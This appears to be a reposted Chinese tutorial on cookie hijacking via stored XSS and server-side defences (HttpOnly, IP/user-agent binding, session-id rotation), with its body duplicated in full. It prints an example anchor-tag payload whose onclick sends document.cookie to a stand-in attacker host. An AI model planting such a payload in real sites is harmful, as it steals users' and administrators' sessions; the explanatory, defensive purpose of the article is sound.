Web 安全之Cookie劫持详细介绍
网站建设 2023-02-09 11:06www.1681989.com免费网站
1. Cookie是什么?
2. 窃取的原理是什么?
3. 系统如何防Cookie劫持呢?
看完这三个回答, 你就明白哪位传奇大侠是如何成功的!!!
Cookie:
HTTP天然是无状态的协议, 为了维持和跟踪用户的状态, 引入了Cookie和Session. Cookie包含了浏览器客户端的用户凭证, 相对较小. Session则维护在服务器, 用于维护相对较大的用户信息.
用通俗的语言, Cookie是钥匙, Session是锁芯.
Cookie简单理解就是钥匙, 每次去服务端获取资源, 需要带着这把钥匙, 只有自己的锁芯(资源), 才能打开.
如果你丢掉了钥匙, 那没办法, 只能配一把钥匙和锁芯.
如果钥匙被别人拿了, 那别人就可以冒充你的身份, 去打开你的锁芯, 从而获取你的信息, 甚至挪用你的资金. 这是非常危险的.
XSS攻击:
XSS(Cross Site Scriptg)是跨站点脚本攻击的缩写. 其就是利用站点开放的文本编辑并发布的功能, 从而造成攻击.
其实说的简单一点, 就是输入javascript脚本, 窃取并投递cookie信息到自己的站点.
比如攻击者以一个普通用户登录进来,然后在输入框中提交以下数据
<a href=# onclick=\”document.location=\’http://attacker-site./xss_collect?m=\’+escape\(document.cookie\)\;\”>快看, 这里有美女在洗澡</a>
攻击者提交了条带<a>标签的数据,该条数据保存于服务器端,而管理员登入时,不小心点击这个链接时,则会把自身的cookie信息, 投递给hacker设定的网址.
有了该session-id,攻击者在会话有效期内即可获得管理员的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。
Cookie劫持的防:
基于XSS攻击, 窃取Cookie信息, 并冒充他人身份.
服务端如何防呢?
第一种办法是:
给Cookie添加HttpOnly属性, 这种属性设置后, 只能在http请求中传递, 在脚本中,document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 对网络拦截, 还是泄露了.
第二种办法:
在cookie中添加校验信息, 这个校验信息和当前用户外置环境有些关系,比如ip,user agent等有关.这样当cookie被人劫持了, 并冒用, 在服务器端校验的时候, 发现校验值发生了变化, 要求重新登录, 这样也是种很好的思路, 去规避cookie劫持.
第三种办法:
cookie中session id的定时更换, 让session id按一定频率变换, 对用户而言, 该操作是透明的, 这样保证了服务体验的一致性.
2. 窃取的原理是什么?
3. 系统如何防Cookie劫持呢?
看完这三个回答, 你就明白哪位传奇大侠是如何成功的!!!
Cookie:
HTTP天然是无状态的协议, 为了维持和跟踪用户的状态, 引入了Cookie和Session. Cookie包含了浏览器客户端的用户凭证, 相对较小. Session则维护在服务器, 用于维护相对较大的用户信息.
用通俗的语言, Cookie是钥匙, Session是锁芯.
Cookie简单理解就是钥匙, 每次去服务端获取资源, 需要带着这把钥匙, 只有自己的锁芯(资源), 才能打开.
如果你丢掉了钥匙, 那没办法, 只能配一把钥匙和锁芯.
如果钥匙被别人拿了, 那别人就可以冒充你的身份, 去打开你的锁芯, 从而获取你的信息, 甚至挪用你的资金. 这是非常危险的.
XSS攻击:
XSS(Cross Site Scriptg)是跨站点脚本攻击的缩写. 其就是利用站点开放的文本编辑并发布的功能, 从而造成攻击.
其实说的简单一点, 就是输入javascript脚本, 窃取并投递cookie信息到自己的站点.
比如攻击者以一个普通用户登录进来,然后在输入框中提交以下数据
<a href=# onclick=\”document.location=\’http://attacker-site./xss_collect?m=\’+escape\(document.cookie\)\;\”>快看, 这里有美女在洗澡</a>
攻击者提交了条带<a>标签的数据,该条数据保存于服务器端,而管理员登入时,不小心点击这个链接时,则会把自身的cookie信息, 投递给hacker设定的网址.
有了该session-id,攻击者在会话有效期内即可获得管理员的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。
Cookie劫持的防:
基于XSS攻击, 窃取Cookie信息, 并冒充他人身份.
服务端如何防呢?
第一种办法是:
给Cookie添加HttpOnly属性, 这种属性设置后, 只能在http请求中传递, 在脚本中,document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 对网络拦截, 还是泄露了.
第二种办法:
在cookie中添加校验信息, 这个校验信息和当前用户外置环境有些关系,比如ip,user agent等有关.这样当cookie被人劫持了, 并冒用, 在服务器端校验的时候, 发现校验值发生了变化, 要求重新登录, 这样也是种很好的思路, 去规避cookie劫持.
第三种办法:
cookie中session id的定时更换, 让session id按一定频率变换, 对用户而言, 该操作是透明的, 这样保证了服务体验的一致性.
上一篇:木马病毒的查杀过程详细介绍
下一篇:蹭网占了点小便宜?黑客能让你亏大发
网站设计
- 静宁会SEO的网站建设公司:全面提升您的网络影
- 提升在线业务的关键:选择最佳的丽水网站建设
- 浙江网站优化发展潜力如何
- 井研专业的网站建设公司:打造您的在线品牌
- 灵山SEO网站建设公司:提升您的在线业务表现
- 蒙城网站建设优化公司:提升您网站表现的理想
- 阳谷企业网站优化:提升线上业务力的关键
- 樟树专业的网站建设公司:打造您在线业务的坚
- 通河百度SEO排名的策略与技巧
- 重庆百度快照排名如何进行精准的客户引流
- 重庆百度快照排名
- 常宁便宜的建站公司:助您轻松打造在线业务
- 巫溪百度网站优化:提升网站曝光率与流量的关
- 湖北整站优化怎么做才能放大客户需求
- 闸北网站建设多少钱?全面解析与预算规划
- 辽宁企业网站优化怎么做电话营销